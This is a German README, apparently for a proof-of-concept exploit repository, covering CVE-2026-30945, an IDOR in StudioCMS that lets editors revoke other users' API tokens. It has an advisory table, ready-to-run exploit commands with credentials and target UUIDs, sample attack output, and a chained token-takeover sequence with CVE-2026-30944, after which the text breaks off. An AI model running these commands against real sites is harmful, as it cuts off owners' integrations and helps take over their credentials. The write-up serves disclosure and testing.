🗑️ CVE-2026-30945

StudioCMS IDOR — Willkürlicher API-Token-Widerruf mit Denial-of-Service-Folge

Übersicht

Der Endpunkt DELETE /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 erlaubt jedem authentifizierten Benutzer mit Editor-Rechten oder höher, API-Tokens zu widerrufen, die jedem anderen Benutzer gehören, einschließlich admin- und owner-Konten.

Der Handler übernimmt tokenID und userID direkt aus der Request-Payload, ohne die Token-Inhaberschaft, die Identität des Aufrufers oder die Rollenhierarchie zu überprüfen. Dies ermöglicht einen gezielten Denial of Service gegen kritische Integrationen und Automatisierungen.

Verwandt: Diese Schwachstelle teilt sich dieselbe Grundursache wie CVE-2026-30944 (Token-Generierungs-IDOR). In Kombination kann ein Angreifer legitime Tokens widerrufen und neue generieren, was eine vollständige Übernahme der API-Zugangsdaten ermöglicht.

Angriffsablauf

┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Angreifer  │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Server     │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  CI/CD-      │
                                              │  Pipeline    │
                                              │  des Owners  │──► ❌ 401 Unauthorized
                                              │  Integration │──► ❌ API-Zugriff verloren
                                              │  Monitoring  │──► ❌ Stiller Ausfall
                                              └──────────────┘

Schwachstellendetails

Feld	Wert
CVE	CVE-2026-30945
GHSA	GHSA-8rgj-vrfr-6hqr
CVSS v3.1	7.1 (Hoch) — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H`
CWE	CWE-639: Autorisierungsumgehung durch benutzergesteuerten Schlüssel
CWE (sekundär)	CWE-863: Falsche Autorisierung
MITRE ATT&CK	T1531 — Entfernung des Kontozugriffs
OWASP API	API1:2023 — Broken Object Level Authorization
Betroffen	`studiocms ≤ 0.3.0`
Behoben in	`studiocms 0.4.0`

Inhalt

Datei	Beschreibung
`cve_2026_30945_poc.py`	Python-Exploit-Skript mit manuellem und automatisiertem Modus
`README.md`	Diese Datei
`LICENSE`	MIT-Lizenz

Voraussetzungen

StudioCMS ≤ 0.3.0 (verwundbare Version)
Python 3.8+
Gültige Zugangsdaten für mindestens ein Editor-Konto
Eine bekannte Token-Datensatz-UUID (interne ID, nicht das JWT)

pip install requests colorama

Schnellstart

Manueller Exploit

# Ein bestimmtes Token des Owners widerrufen
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Mit CVE-2026-30944 verketten: zuerst ein Token für das Ziel erstellen
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Ergebnisse als JSON speichern
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

Automatisierte Tests

# Mit mehreren Rollen testen
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

Argumente

Erforderlich

Argument	Beschreibung
`-u, --url`	Ziel-StudioCMS-Basis-URL
`--target-uuid`	UUID des Zielbenutzers, dessen Token widerrufen werden soll

Optional

Argument	Beschreibung
`--token-id`	Interne Token-Datensatz-UUID, die widerrufen werden soll (nicht das JWT). Wenn ausgelassen, versucht das Skript zuerst, ein Token über CVE-2026-30944 zu erstellen

Manueller Modus

Argument	Beschreibung
`--username`	Benutzername für die Authentifizierung
`--password`	Passwort für die Authentifizierung

Automatisierter Testmodus

Argument	Beschreibung
`--auto-test`	Automatisierte Multi-Rollen-Tests aktivieren
`--editor-user`	Benutzername des Editor-Kontos
`--editor-pass`	Passwort des Editor-Kontos
`--visitor-user`	Benutzername des Besucher-Kontos
`--visitor-pass`	Passwort des Besucher-Kontos

Flags

Argument	Beschreibung
`--save`	Ergebnisse als JSON-Datei speichern
`--no-ssl-verify`	SSL-Zertifikatsprüfung deaktivieren

Beispielausgabe

Verwundbares System

  ──────────────────────────────────────────────────────────
  PHASE 1: Authentifizierung
  ──────────────────────────────────────────────────────────
  [+] Als 'editor01' authentifiziert
  [*] Sitzungsbenutzer: editor01 (editor)
  [*] Sitzungs-UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token-Widerruf (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token-ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] API-Token des Ziels wird widerrufen...
  [+] Token widerrufen! Serverantwort: Token deleted
  [!] SCHWACHSTELLE BESTÄTIGT — Token erfolgreich widerrufen!
  [!] API-Integrationen des Zielbenutzers sind jetzt defekt (DoS)

Gepatchtes System

  ──────────────────────────────────────────────────────────
  PHASE 3: Token-Widerruf (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token-ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] API-Token des Ziels wird widerrufen...
  [*] Zugriff verweigert (403 Forbidden) — Endpunkt wurde möglicherweise gepatcht
  [-] Widerruf fehlgeschlagen: Zugriff verweigert (403 Forbidden)

Angriffskette (CVE-2026-30944 + CVE-2026-30945)

In Kombination mit dem Token-Generierungs-IDOR (CVE-2026-30944) kann ein Angreifer eine vollständige Übernahme der API-Zugangsdaten durchführen:

Schritt 1: Legitimes Token des Owners widerrufen    (CVE-2026-30945)
   └──► CI/CD-Pipelines des Owners fallen still aus

CVE-2026-30945-PoC

Beliebteste